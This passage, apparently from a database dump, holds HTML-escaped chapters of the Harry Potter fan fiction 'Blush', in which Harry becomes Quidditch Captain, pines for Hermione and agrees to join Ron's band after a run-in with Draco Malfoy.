Seeker at Hogwarts, and the best flyer any of us \nhave seen. I know you\'re awfully busy, but I\'ve been talking with the rest of \nthe team, and they\'ve all asked me to ask you if you\'d be Captain.&quot; \n<br><br>Harry couldn\'t quite believe his ears. Harry Potter, Captain of the \nGryffindor Team? His brain went numb. He stared at Katie. <br><br>&quot;You don\'t \nhave to make up your mind right away,&quot; Katie amended. &quot;I mean, I know this is \nrather sudden. If you\'d like to look at your course schedule first and see if -- \n&quot; <br><br>&quot;I\'ll do it,&quot; Harry heard himself say. Katie\'s eyes lit up. \n<br><br>&quot;You\'ll do it?&quot; <br><br>&quot;Course I\'ll do it,&quot; Harry grinned. His brain \nwas beginning to function again, though he was still swimming in shock. He was \ngoing to be Quidditch Captain. &quot;I -- um -- thanks, Katie!&quot; <br><br>&quot;Oh, thank \nYOU, Harry!&quot; Katie launched herself out of her armchair and swept him up in a \nhug which almost sent Harry\'s glasses flying. He pushed them up his nose again \nwith one hand and returned the hug. Katie put one arm around him and steered him \nback towards the crowd in the center of the common room, talking excitedly the \nentire time. <br><br>&quot;Oh Harry -- this is going to be wonderful. You\'ll be a \ngreat Captain, I just know it. Now I\'ve reserved the field already for our \npractices the entire season, and I\'ll leave you a copy of the schedule and the \nkey to our locker area. Tomorrow we\'ll need to meet with Madame Hooch and \nProfessor McGonagall.&quot; Katie stopped and beamed at Harry again. She cleared her \nthroat. <br><br>&quot;Excuse me, everyone,&quot; she shouted. Her voice was drowned in the \ndin of the rowdy common room. Katie reached into her pocket and pulled out her \nwand, holding it high above her head. &quot;Attentius,&quot; she said firmly. A shower of \nscarlet and gold sparks shot into the air with a loud bang, falling back to the \nground with a quiet fizz. The room went silent as the rest of the Gryffindors \nturned to look at them. <br><br>&quot;I have an announcement to make,&quot; Katie said as \nall eyes swivelled in their direction. &quot;As many of you already know, I am \nstudying in Norway this term, so I won\'t be able to play for our Quidditch team \nthis year.&quot; <br><br>Loud groans from the Gryffindors. Worried mutterings and \nconcerned looks rippled through the crowd. <br><br>&quot;I do have some good news,&quot; \nKatie continued. &quot;Without further ado, I\'d like to present our new Gryffindor \nQuidditch Captain... Harry Potter!&quot; <br><br>Katie grabbed Harry\'s hand in hers \nand thrust his arm high into the air. <br><br>The common room went completely \nberserk. <br><br>Harry was nearly smothered in congratulatory hugs. Fred and \nGeorge Weasley lit half a dozen homemade Flambingo Fireworks which exploded \nabove the crowd in a riot of screeching scarlet and gold parrots. Harry tried to \nfight his way through the crowd to Ron, whose red head was visible above the \ncheering throng; Ron looked as if he might explode with joy. When Harry finally \nreached him Ron lifted him clear off the ground in a bear hug, then realized \nwhat he was doing and dropped Harry hastily, clapping him on the back. It \noccurred to Harry as he finally caught his breath that Ron would make an \nexcellent replacement for Katie as Chaser; his size would be a distinct \nadvantage, and he wasn\'t a bad flyer either. He\'d have to bring it up at their \nfirst practice. <br><br>Which he\'d be leading. <br><br>Leading practice. Harry\'s \nstomach did a few somersaults and what felt like a back handspring. \n<br><br>&quot;Whassamatter, Harry? Aren\'t you excited?&quot; Ron had caught the panicked \nlook on Harry\'s face. <br><br>&quot;I -- well, it\'s a bit much,&quot; Harry admitted as \nanother Flambingo shot past him, repeating &quot;bit much! bit much!&quot; as it flapped \nover the crowd. <br><br>&quot;Don\'t worry, you\'ll be great,&quot; said Ron effusively. \n&quot;Didn\'t you go to Quidditch Camp and everything? And Hermione and I will help \nyou if you need it.&quot; <br><br>&quot;Where <i>is</i> Hermione?&quot; Harry suddenly realized \nthat the one person he most wanted to see was noticeably absent from the riotous \ncelebration. <br><br>&quot;Dunno,&quot; said Ron. &quot;She got a funny look on her face when \nshe saw Katie drag you out here. Said she was going to bed early. She\'s probably \njust got first-day nerves, you know how Hermione is.&quot; <br><br>&quot;Yeah. Yeah, I \nguess I do.&quot; <br><br>The rest of the evening shot by like a Flambingo Firework. \nHarry tried to fixate on Quidditch, but he felt strangely distracted. I\'m \nQuidditch Captain, his brain kept repeating, but there was another part of his \nmind that kept repeating something else. Hermione. Is Hermione all right? Is she \nunhappy that I\'m Captain? What could be wrong? <br><br>Harry barely heard the \nWeasleys congratulate him hoarsely for the twenty-seventh time as he made his \nway up to the boys\' dormitory at last. He paused at the top of the stairs to \nstare at the girls\' door across the way, then closed the boys\' door behind him \nand sought his familiar four-poster. His trunk was neatly set at the foot of his \nbed, and Hedwig was perched on the top of one of the bedposts. She hooted at him \nsoftly. <br><br>&quot;What\'s wrong with me, Hedwig?&quot; Harry muttered, flopping onto \nhis bed and pulling the curtains closed. He lay staring into the dark for a long \ntime before sleep finally overtook him. <br><br>* * * * * <br><br>= the chapter \nhas now ended = \n'),
	(71, 3, '\n\n\nTitle: Blush<br>Author: Granger<br>Author Email: ali_granger@yahoo.com<br>Category: \nRomance, Humour<br>Keywords: Harry, Hermione, Ron, Quidditch, Fifth \nYear<br>Spoilers: All four books<br>Rating: PG-13<br>Summary: Harry returns from \na summer at Quidditch Camp to find his best friends... transfigured. Love, lust, \nmagic, music, and ale abound. And we always knew Draco was a rock \nstar.<br>Pairings: H/H, Ron/Other, maybe more...<br>Author\'s note: All music \nquoted in this story is highly recommended for listening while reading. This \nstory is dedicated to anyone who\'s ever fallen for their best \nfriend.<br><br>Disclaimer: This story is based on characters and situations \ncreated and owned by JK Rowling, various publishers including but not limited to \nBloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. \nNo money is being made and no copyright or trademark infringement is intended. \n<br><br>* * * * * <br><br><i>Imagine my surprise<br>all my life I\'ve been so \nordinary<br>had to rub my eyes<br>oh my mind was just a little blurry<br>and it \nseems so, I don\'t know<br>no I don\'t know if it\'s true<br>and it seems so, I \ndon\'t know<br>no I don\'t know what to do</i> <br><br>-- &quot;Seems So,&quot; Apples in \nStereo <br><br><br><br><b>Blush : Chapter Three</b> <br><br>Hermione seemed like \nher usual self the next morning at breakfast, poring eagerly over her course \nschedule, organizing her new quills and rolls of parchment into neat stacks, and \narranging the books in her bulging bag. Harry barely had the chance to say two \nwords to her before she swept up all of her supplies, grabbed a handful of \ntoast, and rushed out of the Great Hall, calling over her shoulder to them as \nshe slung her heavy bag over one arm. &quot;Arithmancy first, can\'t be late. See you \nat lunch!&quot; <br><br>Harry was soon wishing for just one of Hermione\'s good habits \nas he dashed through the halls to his morning classes. His professors wasted no \ntime in piling on the homework, and his bag was soon full of slips of paper with \nundecipherable scrawls: &quot;HoM Essay Tuesday.&quot; &quot;Div Astro Chart Six Rolls Monday.&quot; \n&quot;Trans Homework Friday: Turn Bats.&quot; Turn bats what? Harry could barely remember \nthe assignment and he\'d just had Transfiguration two periods ago. He stumbled \ninto the library as soon as the last bell had rung, determined to make some \norder out of his chaotic notes before his bag threatened to explode, and hoping \ndesperately that Hermione would be there to offer advice. <br><br>Hermione was \nsitting at their usual spot; she raised an eyebrow as Harry unceremoniously \ndumped the contents of his bag onto the table and flopped into a chair next to \nher. He had never been so glad to see anyone in his life. <br><br>&quot;Rough day?&quot; \nshe inquired archly, her eyes widening at the sight of Harry\'s mountain of \ncrumpled papers. <br><br>&quot;No idea how you manage this.&quot; Harry raked a hand \nthrough his bangs in exasperation. &quot;This is twice as much homework as we had \nduring all of last year put together. I think they\'ve given me twelve \nassignments in every class. And I\'ve got to plan Quidditch practice for \nSaturday.&quot; <br><br>&quot;Harry, calm down.&quot; Hermione pushed her book aside. &quot;You just \nneed a little organization, that\'s all. Look, try this.&quot; She took out her wand \nand waved it with an expert flick of her wrist. &quot;Memorandus.&quot; <br><br>A little \nred book materalized on the table in front of Harry with a soft poof. Harry \nstared. Hermione took a quill from her bag and handed it to Harry. <br><br>&quot;Read \nabout this in <i>Spells for Successful Students</i>. I\'ve used one for years. \nJust keep it with you at all times, and write your assignments in it. It does \nthe rest. Here, watch.&quot; <br><br>Hermione produced an identical blue book from \nher own bag, opened it, tapped it once with her wand and said, &quot;Wednesday, \nplease.&quot; <br><br>The book quivered, then began to glow faintly. &quot;Wednesday, \nSeptember 4th,&quot; it said in a charmingly stuffy voice. &quot;Transfiguration homework: \nChange paper hat into jewelled crown. Muggle studies: read thirty pages in \n<i>Famous Muggles of the Nineteenth Century</i>. Two days until your first \nArithmancy quiz.&quot; <br><br>Harry gaped. <br><br>Hermione looked at him pointedly. \n&quot;It\'s quite simple, really.&quot; <br><br>Harry looked back at her, his best friend, \none of two people who knew all the things he\'d gone through since he\'d gotten to \nHogwarts, the only person he knew who could fix his troubles with a wave of her \nwand or a quote from a book. She would spend seventeen straight hours in the \nlibrary if she thought it would help him. He was overcome with a wave of joy and \ngratitude. He realized he\'d been waiting all day to be right at this spot, at \nHermione\'s side in the library. He realized he\'d been waiting all summer to be \nhere. <br><br>&quot;Hermione. I, um...&quot; <br><br>Harry suddenly felt a desperate need \nto tell her this, to give her an inkling of how it felt to be sitting here with \nher again, but he couldn\'t fathom how to do it. Hermione, I... like studying in \nthe library with you? Thanks for the three hundred times you\'ve saved my life in \nthe past four years? <br><br>Hermione was looking at him expectantly, her \neyebrows raised in surprise. Not this again, thought Harry. I must look like a \ncomplete numbskull. What kind of prat goes to pieces at the sight of an \nenchanted assignment notebook? <br><br>&quot;I... missed you,&quot; he finished lamely. \nI\'m such an <i>idiot</i>. Voldemort, come and get me now, it\'d be quite all \nright, really. <br><br>But Hermione\'s face softened. She blushed and smiled. \nHarry smiled back, feeling a rush of color overcome his own face. <br><br>&quot;Hey, \neither of you seen Emma?&quot; <br><br>Ron\'s bag hit the table next to Harry\'s with a \nthud as he slid into the seat across from them. Hermione and Harry both jumped. \n<br><br>&quot;Ron Weasley, this is a library, do you mind keeping it down?&quot; \n<br><br>&quot;Sorry, Herm. I\'m s\'posed to meet Emma here, dunno where she\'s gotten to \n-- &quot; Ron looked up distractedly at just as a small group of Ravenclaw \nfifth-years appeared at the library entrance, Emma among them. She was looking \nanxiously around the room, and waved shyly when she spotted the three of them. \n<br><br>In one swift motion Ron had snatched his bag up and was pushing his \nchair back under the table. &quot;There she is. See you at dinner!&quot; <br><br>Harry \nwatched as Ron walked quickly over to the cluster of girls, many of whom \nexchanged knowing looks as Emma stepped back to wait for him. <br><br>Hermione \nsighed. &quot;Why does something tell me that\'s the most we\'ll be seeing of Ron this \nterm?&quot; <br><br>&quot;I know.&quot; Harry watched as Ron and Emma disappeared behind the \nstacks of books, his arm around her shoulder. &quot;Can\'t believe this is our Ron.&quot; \n<br><br>&quot;Well, you know. Everyone is different this year.&quot; <br><br>&quot;You think?&quot; \n<br><br>&quot;Yes, I mean, did you see how small the first years look?&quot; <br><br>Harry \nnodded. &quot;It\'s crazy.&quot; <br><br>&quot;And you -- &quot; Hermione stopped, as if about to say \nsomething else. &quot;You\'re... Quidditch Captain now, and everything.&quot; <br><br>&quot;I \nknow.&quot; Overwhelming anxiety from his hectic day of classes suddenly swept over \nHarry again. He put his head down on the table. &quot;Oh, I know.&quot; <br><br>&quot;Harry, \nit\'ll be okay, really it will,&quot; Hermione began. <br><br>&quot;No, no, it won\'t,&quot; \nHarry interrupted, raising his head to look at her. &quot;What if Voldemort hatches \nsome plan to kill me again? It\'s his favorite sport. He hasn\'t missed a year \nyet, and now he\'s even got his body back. What am I supposed to do, write him a \nnote and say I\'ve got too much homework to be killed this year?&quot; \n<br><br>Hermione collapsed in a fit of giggles. <br><br>&quot;Dear Dark Lord,&quot; she \nsaid, catching her breath. &quot;Kindly excuse Harry Potter from your dastardly \nschemes this term. He has a Transfiguration final which he cannot be dead for.&quot; \n<br><br>Harry was almost laughing too hard to speak. &quot;Attention All Death \nEaters,&quot; he gasped. &quot;I\'m afraid I\'ll have to miss your weekly meetings. I\'m \nleading Quidditch practice on Sundays.&quot; <br><br>&quot;Will you kindly keep it down! \nThis is a library, not a common room!&quot; Madam Pince, the librarian, was glaring \ndaggers at them from her perch behind the checkout desk. <br><br>&quot;Sorry,&quot; Harry \nmanaged to croak. Hermione bit her lip; her shoulders were shaking with \nsuppressed laughter. Harry glanced at her. &quot;Think we\'d better get out of here \nbefore we cause a disturbance.&quot; <br><br>Hermione nodded emphatically, her face \nred, and started to gather her books, trying her best not to meet Harry\'s \nglance. They managed to hold themselves together until they finally reached the \nlibrary door, at which point Hermione caught Harry\'s eye again and the two of \nthem exploded into guffaws. Harry grabbed Hermione\'s sleeve and pulled her \ntowards the stairwell and out of library earshot, not believing his tremendous \nluck at ever having met the girl by his side, whose face was glowing with \nhappiness and streaked with tears of laughter. <br><br>~ ~ ~ ~ ~ <br><br><i>The \nGreat Boggart Hunt of 1743 was interrupted by several unusual protests by an \nopposing group of wizards calling themselves the Boggart Rights Party. The BRP, \nas they were called by their supporters -- <br><br>The Great Boggart Hunt of \n1743 was interrupted by several unusual protests -- <br><br>The Great Boggart \nHunt -- </i><br><br>Oh, bloody hell. Hermione slammed her book closed, inwardly \ncursing her ability to concentrate, which seemed to have flown straight out the \nwindow with the last Owl Post. She\'d been trying to study for the past hour, but \nthe only progress she\'d made had been in setting a new world record for the \nnumber of times someone had read Page 67 of <i>A Brief History of Magic</i>. \n<br><br>I\'ve gone mad, Hermione thought, as the vision of Harry\'s brilliant \ngreen eyes filled her senses for what seemed like the hundredth time that \nmorning. She could almost feel him next to her, collapsing with laughter onto \nthe library table, pulling crumpled bits of paper from his bag with his funny \nuphill Harry scrawl on them, biting his lip in concentration while he bent over \na scroll of parchment, running his hand through his hair so that a stubborn \ncowlick stood straight up in defiance of gravity. <br><br>If she could just bury \nherself in homework, things would be back to normal. Her heart would stop \npounding when Harry slouched into the chair next to her at the library, when he \ngrinned up at her as she settled into her usual squishy armchair in the common \nroom, when they did any one of a thousand tiny little things they\'d done \ntogether every day for the past four years. He\'s my best friend, and he needs \nme, and I have to stop thinking like this, Hermione thought resolutely. It won\'t \ndo either of us any good if he comes to me with some terrible clue of \nVoldemort\'s and all I can think about is the way his eyes flash when he\'s trying \nto solve a problem, or the way his sweater smells when he leans over a book next \nto me, or -- <br><br>St.Mungo\'s, thought Hermione, burying her head in her \nhands. I\'m headed straight to St.Mungo\'s. <br><br>~ ~ ~ ~ ~ <br><br>September \nwas flying by in a rush of classes, assigments, visits to Hagrid\'s, Quidditch \npractice, and late nights at the library. Harry\'s first Quidditch practice had \nstarted off somewhat shakily, but he\'d felt confident as soon as he\'d mounted \nhis broom and kicked off to demonstrate a new manuever for the Beaters, and \neverything went swimmingly after that. The team unanimously voted Ron to be \nKatie\'s replacement -- which was unsurprising, considering the Weasley twins \nwere one third of the vote -- and Ron was doing an admirable job in his first \nseason. His new scarlet Quidditch robes seemed to add six inches to his already \nconsiderable height, probably because he stood up so proudly whenever he wore \nthem. Emma and Hermione devotedly attended every practice, Hermione catching up \non her reading during Harry\'s team lectures, Emma by her side watching Ron\'s \nevery move with rapt admiration. <br><br>Quidditch practice was one of the only \ntimes Harry got to see Ron these days. Most of the time Ron was with Emma, in \nthe library, by the lake, in the Astronomy Tower, or other places Harry was not \ntoo keen to imagine. He and Hermione continued to save Ron his usual seat in the \ncommon room and in the library, which was empty more often than not as the weeks \nwent by. Though they\'d never spoken about it, Harry got the feeling that \nHermione shared his wish not to see anyone else in Ron\'s chair, and so it \nremained, often serving as a spot for their extra books or for a napping \nCrookshanks. <br><br>Harry couldn\'t believe it was possible to feel so alone \nwhile sitting next to the person he spent most of his waking hours daydreaming \nabout. Hermione\'s presence was both comforting and nerve-wracking at the same \ntime. Harry\'s head spun with confusion most days; he didn\'t think he could \nproperly explain things to Sirius, who was the only other person he had remotely \nconsidered talking to about his feelings. Sirius was wonderfully sympathetic, \nbut he didn\'t know Hermione the way Ron did. <br><br>Harry was starting to \ndespair of ever being able to tell Ron anything again as it was. He imagined Ron \nwould finally come to his senses sometime after their seventh year, when Harry \narrived at Ron and Emma\'s wedding with his shoes on backwards, raving mad with \nconfusion, with three new scars on his forehead from battles with the Dark Lord \nthat Ron hadn\'t known about. He\'d tried to catch Ron alone after Quidditch \npractice, after class, in the common room, and after meals, but if Emma wasn\'t \nwith him, Hermione was. Harry relished the idea of pulling Ron aside in front of \nHermione just about as much as he enjoyed Double Potions with Snape. \n<br><br>Harry was almost stunned to find Ron alone in the boy\'s dormitory one \nevening when he went upstairs to dig a spellbook out of his trunk. \n<br><br>&quot;Ron.&quot; Harry breathed a vast sigh of relief. Ron was shuffling through \nthe contents of his own trunk and looked up as Harry came into the room. \n<br><br>&quot;Oh, hi Harry,&quot; he said distractedly. &quot;What\'s up, you going to the \nlibrary?&quot; <br><br>&quot;In a bit.&quot; Harry seized the opportunity as fast as he could. \n&quot;Look Ron, can we talk? There\'s something I\'ve really got to -- &quot; <br><br>&quot;I\'m \ntrying to find an essay I wrote last year,&quot; Ron said, flinging rolls of \nparchment out of his trunk and onto his bed. &quot;Emma\'s having trouble with a \nHistory of Magic assignment, and I think I wrote something similar...&quot; \n<br><br>&quot;Ron.&quot; Harry tried again. &quot;I\'ll help you find it, but can we just talk \nfor a minute?&quot; <br><br>&quot;Can we do it later, Harry?&quot; Three more rolls of \nparchment flew out of Ron\'s trunk and onto the floor. &quot;I\'m in kind of a rush, \nshe\'s really freaked out. You know how Ravenclaws get about homework, they\'re \neven worse than Hermione.&quot; <br><br>Harry looked at the top of Ron\'s red head, \npartially obscured by piles of books and parchment in the depths of his trunk. \nHe felt his stomach twist tight. <br><br>&quot;Yeah, alright,&quot; he mumbled. &quot;Sorry to \nbother you.&quot; <br><br>&quot;See you later then!&quot; Ron said cheerily. Two more books hit \nthe floor with a thud. <br><br>~ ~ ~ ~ ~ <br><br>Harry hardly had a chance to \ngrapple with the confounding absence of his best friend when an added \ndistraction sailed into his life with the force of a Bludger. At lunch the next \nday, Professor Dumbledore rose and cleared his throat as they were all sitting \ndown before their empty golden plates. <br><br>&quot;Attention, please. I regret to \ninform you that the Wyrd Sisters will be unavailable to perform at this year\'s \nYule Ball.&quot; <br><br>A loud murmur of disappointment from the crowd. Dumbledore \npeered down at them from above his half-moon spectacles, and everyone was quiet \nagain. <br><br>&quot;This has given us the occasion to concoct a new sort of activity \nfor the school. Our Music Department is not well known among many students, and \nit\'s time for that to change. This year the Department will be sponsoring a \ncontest for students or groups of students who sing or perform music with \nenchanted instruments. The top contestants will play for the school at the \nBall.&quot; <br><br>Gasps of surprise from the crowd. Harry felt Ron kick him hard \nunderneath the table. He looked up; Ron was grinning like the Cheshire Cat. He \nhad the look in his eyes that Harry usually saw on those occasions right before \nthe two of them found themselves inside a teacher\'s office with twenty points \ntaken from Gryffindor. <br><br>&quot;The contest will take place the day before our \nHalloween feast, so you have plenty of time to prepare. Contest rules will be \nposted on the board outside this room. The deadline for entries is one week from \ntoday.&quot; <br><br>The Great Hall erupted with noise as everyone began talking at \nonce. Ron looked as if he might get up onto the Gryffindor table and break into \nsong on the spot. He grabbed Harry\'s arm. <br><br>&quot;Harry, you\'ve GOT to do this \nwith me!&quot; <br><br>Harry\'s eyes went as wide as saucers. His eyebrows shot up \ninto his messy bangs. &quot;Ron, are you mental?&quot; <br><br>Hermione was also goggling \nat Ron from her seat across the table. &quot;Ron,&quot; she began, &quot;why on <i>earth</i> -- \n&quot; <br><br>&quot;We can do this,&quot; urged Ron. &quot;I can play guitar. Played for years, I \ninherited an old Muggle one from Charlie, he never used it much. My dad \nenchanted it so it sounds like it\'s \'lectric. I can have my folks send it here \nwith Errol.&quot; <br><br>&quot;But why -- &quot; Harry was attempting to absorb what Ron was \nsaying, but it was much like hearing Hagrid announce he\'d been a professional \nballet dancer before he came to Hogwarts. <br><br>&quot;Because it\'ll be wicked fun, \nof course!&quot; Ron was nearly flying out of his seat with excitement. &quot;Please, \nHarry. Say you\'ll do this with me!&quot; <br><br>&quot;Ron.&quot; Harry fixed Ron with a \nmeaningful stare. &quot;Listen to me, Ron. <i>You. Have. Gone. Mad.</i> Completely \ncrackers. I grew up at the Dursleys. I never played an instrument. I can\'t sing \na note.&quot; <br><br>&quot;Harry, you\'ll be fine, you\'re good at everything.&quot; said Ron \ndismissively. &quot;We\'ll get you a bass, you\'ll play four notes over and over, \nGregory Goyle could do it.&quot; <br><br>&quot;Oh, thanks a lot,&quot; Harry said, a note of \nmock hurt in his voice. <br><br>&quot;Hold on just a minute,&quot; Hermione interrupted. \n&quot;Ron, you both have gobs of homework, you have Quidditch, Harry\'s Captain, you \ncan\'t possibly start up something like this. Think of your marks. And we\'ve got \nO.W.L.\'s -- &quot; <br><br>&quot;Will you stop with the schoolwork thing,&quot; said Ron \nimpatiently. &quot;How often do we get the chance to stand in for a famous group like \nthe Wyrd Sisters?&quot; <br><br>&quot;Ron, here\'s a news flash: you haven\'t even won the \ncontest yet.&quot; <br><br>Harry broke in. &quot;Hangon, hangon. Okay, Ron, let\'s hear it \nthen. Exactly how are you planning on winning this contest with one other person \nwho is most likely tone deaf?&quot; <br><br>&quot;Well we\'ll do it with more than me and \nyou of course,&quot; said Ron, rolling his eyes. &quot;I just need a bass player is all. \nI\'ve already got the rest of the band.&quot; <br><br>Harry looked at Ron expectantly. \n<br><br>&quot;Ginny,&quot; said Ron, as if this were the most obvious thing in the world. \n&quot;You don\'t know Ginny plays drums?&quot; <br><br>&quot;Ginny does what?&quot; Harry\'s eyebrows \nshot up again. <br><br>&quot;Oh come on, you knew that,&quot; said Ron. &quot;Haven\'t you seen \nthem in our garage? She\'s really good.&quot; <br><br>Harry and Hermione both stared \nat Ron as if he\'d started coughing up slugs, though he hadn\'t been prone to that \naffliction for a few years now. <br><br>&quot;Look, it\'ll be great, just wait till \nyou hear us,&quot; said Ron, giving Harry a pleading look. &quot;I\'ll reserve a practice \nroom for Sunday, just give it a chance.&quot; <br><br>Harry looked at Ron. It felt \nlike ages since they\'d hatched any kind of scheme together. Almost a month into \nthe school year, and they hadn\'t even pulled out the Invisibility Cloak. He \nmissed Ron so much it was painful. Maybe they\'d finally get to talk. <br><br>But \nhe could barely keep up with his schedule as it was. <br><br>Ron gave Harry a \nhopeful sideways smile. <br><br>Harry shook his head. He felt a deep pang of \nregret. &quot;Ron, I just don\'t think -- &quot; <br><br>Someone cleared their throat from \nabove Ron\'s left shoulder. Harry looked up. <br><br>&quot;Did I overhear you right, \nWeasley? You\'re going to be entering the contest?&quot; <br><br>Draco Malfoy was \nstanding over the Gryffindor table, arms crossed over his jet-black robes, one \npierced eyebrow raised sharply in Ron\'s direction. Crabbe and Goyle, flanking \nMalfoy as usual, began to snigger as if on cue. <br><br>Ron stood up quickly. At \nhis full height he now loomed over Malfoy. <br><br>&quot;What\'s it to you?,&quot; he shot \nback. &quot;Is your dad paying off the judges so you can win or something?&quot; \n<br><br>Draco snorted. &quot;Cute, Weasley, very cute. It\'s always about money with \nyou, isn\'t it? Is that because you don\'t have any?&quot; <br><br>Ron\'s face was \nturning red beneath his freckles. His lips were pressed into a thin line. Harry \nstood up and put a hand on Ron\'s shoulder. &quot;Ron, no use stooping to his level, \nlet\'s leave it, alright?&quot; he muttered. <br><br>Ron ignored Harry. He was glaring \nfuriously at Malfoy, who was smirking at him with a look of thorough enjoyment. \n<br><br>&quot;When they\'re playing our band on the Wizard\'s Wireless, Malfoy, you\'ll \nbe trying to pretend you know us.&quot; <br><br>Draco grinned. &quot;Oh, this is rich. \nKeep going, Weasley, you\'re making my day. Your <i>band</i>? Did your parents \nteach you Weasleys to sing on the street for spare change or something?&quot; \n<br><br>Ron was now turning slightly white. Crabbe and Goyle broke into oafish \nguffaws. &quot;You ever thought of using those two as bookends, Malfoy?&quot; Harry said \ndryly, attempting to steer Ron away again. &quot;I mean, I know most bookends are \nmore intelligent, but...&quot; <br><br>&quot;Shut it, wonder boy,&quot; snapped Draco \ndismissively. &quot;I\'m not talking to you. I want to hear more about this band of \nWeasel\'s here.&quot; He looked at Ron smugly. &quot;What\'s it called, then?&quot; <br><br>Ron \nwas now looking deeply flustered and even more furious, which Harry had not \nthought possible. He sputtered incoherently at Draco. <br><br>&quot;Well -- it\'s -- \nit\'s -- that would be -- &quot; <br><br>Draco tapped his foot. He ran a hand through \nhis cropped white-blond spikes, looked at his watch, and continued to watch Ron \nsputter. Ron stood as if rooted to the spot. His hands were balled tightly into \nfists. Draco started to turn away, sniggering. <br><br>&quot;OUR band, you mean.&quot; \n<br><br>Harry stepped in front of Ron, his eyes narrowed in an unspoken \nchallenge. Draco spun around slowly and arched an eyebrow in surprise. \n<br><br>&quot;Your band, Potter?&quot; he said, his mouth twitching. <br><br>&quot;Yeah. The \nMarauders,&quot; said Harry. His wand hand slipped into his pocket. Out of the corner \nof his eye he saw Ron\'s mouth fall open. <br><br>&quot;The Boy Who Sings,&quot; purred \nDraco, his lips curling into a smile. &quot;This is going to be so much more fun than \nI\'d even dreamed.&quot; <br><br>Draco\'s eyes strayed to Harry\'s wand hand, which was \nnow closed around the wand in his pocket. He flashed Harry a wicked smile and \nswept out of the Great Hall in a blur of black robes. <br><br><br><br>* * * * * \n<br><br>= the chapter has now ended = Review! \n\n'),
	(71, 4, '\n\n\nTitle: Blush<br>Author: Granger<br>Author Email: ali_granger@yahoo.com<br>Category: \nRomance, Humour<br>Keywords: Harry, Hermione, Ron, Quidditch, Fifth \nYear<br>Spoilers: All four books<br>Rating: PG-13<br>Summary: Harry returns from \na summer at Quidditch Camp to find his best friends... transfigured. Love, lust, \nmagic, music, and ale abound. And we always knew Draco was a rock \nstar.<br>Pairings: H/H, Ron/Other, maybe more...<br>Author\'s note: All music \nquoted in this story is highly recommended for listening while reading. This \nstory is dedicated to anyone who\'s ever fallen for their best \nfriend.<br><br>Disclaimer: This story is based on characters and situations \ncreated and owned by JK Rowling, various publishers including but not limited to \nBloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. \nNo money is being made and no copyright or trademark infringement is intended. \n<br><br>* * * * * <br><br><i>She\'s got everything delightful<br>She\'s got \neverything i need<br>Takes the wheel when i\'m seeing double<br>Pays my ticket \nwhen i speed<br><br>Sunshine daydream<br>Walk you in the tall trees<br>Going \nwhere the wind goes<br>Blooming like a red rose<br></i><br>-- &quot;Sugar Magnolia,&quot; \nThe Grateful Dead <br><br><br><br><b>Blush : Chapter Four</b> <br><br>At first, \nno one spoke. <br><br>&quot;Harry,&quot; Ron finally breathed, turning to face his friend, \nwho was still flushed, green eyes glittering with fury at the receding backs of \nMalfoy, Crabbe, and Goyle. <br><br>Harry expelled a long breath. It was only by \na sheer act of willpower that he had managed to refrain from hexing the \nSlytherins into a giant three-headed mass of bubotuber pus. He slowly withdrew \nhis hand from his pocket, where it had been clenched tightly around his wand, \nand flexed it. <br><br>&quot;You okay?&quot; Ron was peering worriedly at him as if Harry \nhad suddenly announced a plan to move to Romania and take up dragon farming. \n<br><br>&quot;Yeah.&quot; Harry sat down heavily. Hermione was gaping at him also; he \ndidn\'t even want to think about what she would say when they were finally alone. \n<br><br>&quot;That bloody git.&quot; Ron glared at the spot by the doorway where Malfoy\'s \nblack robes had finally vanished from view. He shook his head angrily. &quot;Look, \nHarry, you don\'t have to do this just because Malfoy is a raging bastard --&quot; \n<br><br>&quot;That\'s not why I\'m doing it,&quot; Harry said simply. Ron looked at him \nblankly. <br><br>Harry couldn\'t explain it. Ron might not be himself these days, \nbut he was still Ron, and they\'d be making snow angels in hell the day Harry let \nDraco Malfoy get the better of him. <br><br>Harry sighed and grinned ruefully. \n&quot;Ron. This is <i>us</i> we\'re talking about. You\'d do the same for me, you \nnitwit.&quot; <br><br>Ron\'s freckled face broke into a huge smile. <br><br>&quot;Now go \nask your sister to be in your band before half the fourth-years find out her \nhidden talent, will you?&quot; Harry inclined his head in the direction of Ginny\'s, \nwhich was easily visible as the only red one among a group of fourth-years at \nthe other end of the table. <br><br>Ron looked as if he was about to explode \nwith gratitude. &quot;You\'re the best, Harry, you know that?&quot; he beamed, then grabbed \nhis bag and dashed for the opposite end of the Gryffindor table. <br><br>Harry \nlooked across the table at Hermione, bracing himself for what he might see when \nhe finally met her gaze. A reproachful look at having given in to Ron\'s lunacy, \nmaybe. Criticism at committing himself to yet another activity. Anger at \nwatching him lose his temper at Draco Malfoy when he really should know better \nby now. He had a sudden vision of Hermione, in their first year, glaring after \nhim as he mounted his broom to go after Draco and Neville\'s Remembrall. Her \nwords floated into his mind with perfect clarity: &quot;What an idiot.&quot; <br><br>He \nwasn\'t prepared for what he saw instead. <br><br>Hermione\'s eyes were shining \nwith tears; she was smiling at him. <br><br>Harry blinked in astonishment. &quot;You \nall right?&quot; <br><br>Hermione looked abashed. She flushed pink and wiped her \neyes. &quot;Yes, I -- I\'m sorry. That was -- so nice of you, Harry.&quot; <br><br>It was \nHarry\'s turn to go pink. <br><br>Voices were now chattering eagerly from Ginny\'s \nend of the table. Apparently Ron\'s proposal was causing quite a stir. Heads were \nbeginning to swivel in Harry\'s direction. It was not often that Famous Harry \nPotter could do something without creating some kind of buzz. <br><br>&quot;D\'you \nwant to get out of here?&quot; Hermione said quietly. <br><br>&quot;Yeah.&quot; <br><br>Harry \nhad never been more grateful for Hermione\'s uncanny ability to read his mind. \n<br><br>Without another word the two of them gathered their books, Harry \ngrabbing a few of the sandwiches which had appeared on the golden tableware, \nHermione snatching up two apples and a handful of pumpkin cookies. Quietly, they \nslipped out of the Great Hall and into the afternoon sunlight. <br><br>~ ~ ~ ~ ~ \n<br><br>A buttery light was flooding the grassy lawn outside the castle as Harry \nand Hermione pushed open the vast oak front doors and made their way across the \ngrounds. Harry knew where they were going without having to say anything. It was \nwhere he and Hermione often went when they had something important to talk \nabout, but it was also where they went when they didn\'t want to talk at all. \n<br><br>A brisk fall breeze was blowing across the surface of the lake when they \nreached their usual spot, a smooth knoll sheltered from the wind by a pair of \ngiant shade trees, neither of which bore any relation to a Whomping Willow. \nDappled light fell through the trees and bathed the grass with bright splotches \nof sun; the giant squid was visible at the far end of the lake, sending the \noccasional jet of water high into the air. Harry took off his robe and laid it \non the grass, set his bag 